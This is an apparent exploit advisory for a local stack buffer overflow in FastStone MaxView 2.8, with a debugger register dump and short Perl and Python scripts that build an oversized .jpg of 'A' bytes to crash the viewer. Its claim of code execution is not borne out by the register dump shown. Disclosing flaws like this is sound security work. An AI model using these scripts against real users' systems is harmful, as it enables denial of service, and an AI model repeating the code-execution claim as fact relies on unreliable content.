#######################################################################
# Title    : FastStone MaxView 2.8 (.jpg) local Stack Overflow PoC
# Program  : FastStone MaxView
# Author   : Dr.3v1l
# Date     : 2015 01 July
# Website  : http://www.faststone.org
# Download : http://www.faststonesoft.net/DN/FSMaxViewSetup28.exe
# Version  : 2.8
# Type     : (.jpg File) local Stack Overflow PoC
#######################################################################
#
# 01. Vulnerability Information
# 
# Class: Buffer overflow [CWE-119]
# Impact: Code execution
# Remotely Exploitable: No
# Locally Exploitable: Yes
# CVE Name: CVE-2014-8386
# 
# 02. Technical Description / Proof of Concept Code
# 
# This vulnerability is caused by a stack buffer overflow when parsing
# the display properties parameter. A malicious third party could trigger
# execution of arbitrary code within the context of the application, or
# otherwise crash the whole application.
#
# EAX 54A30018 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ECX 0013D2A8
# EDX 7767D370 ntdll.KiFastSystemCallRet
# EBX 00000000
# ESP 0013D2A8
# EBP 0013D30C
# ESI 0013D328
# EDI 000007A4
# EIP 7767D370 ntdll.KiFastSystemCallRet
# C 0  ES 0023 32bit 0(FFFFFFFF)
# P 1  CS 001B 32bit 0(FFFFFFFF)
# A 0  SS 0023 32bit 0(FFFFFFFF)
# Z 1  DS 0023 32bit 0(FFFFFFFF)
# S 0  FS 003B 32bit 7FFDF000(4000)
# T 0  GS 0000 NULL
# D 0
# O 0  LastErr ERROR_SUCCESS (00000000)
# EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)
# ST0 empty -??? FFFF 000000FF 00FF00FF
# ST1 empty 4.7021112344749837450e+18
# ST2 empty 4.7021112344749837450e+18
# ST3 empty 4.7021112344749837450e+18
# ST4 empty 4.7021112344749837450e+18
# ST5 empty 4.7021112344749837450e+18
# ST6 empty 4.7021112344749837450e+18
# ST7 empty 4.7021112344749837450e+18
#                3 2 1 0      E S P U O Z D I
# FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
# FCW 127F  Prec NEAR,53  Mask    1 1 1 1 1 1
# 
# ---------------------------------------------------------------------
# 
# PoC (PERL) :
# 
#   my $file="3v1l.jpg";
#   open(my $FILE, ">>$file") or die "Cannot open $file: $!";
#   print $FILE "\x41" x 250000000;
#   close($FILE);
#   print "$file has been created \n";
# 
# 
# PoC (PYTHON) :
# 
#   file="3v1l.jpg"
#   junk="\x41"*250000000
#   writeFile = open (file, "w")
#   writeFile.write(junk)
#   writeFile.close()
#
#######################################################################
#
# [+] Contact Me :
#
#     B.Devils.B@gmail.com
#     Twitter.com/Doctor_3v1l
#     Twitter.com/blackdevilsb0ys
#     Facebook.com/blackdevilsb0ys
#     Linkedin.com/in/hossein3v1l
#     Hossein Hezami - Black_Devils B0ys
#
#######################################################################
# Black_Devils B0ys - blackdevilsb0ys.ir
#######################################################################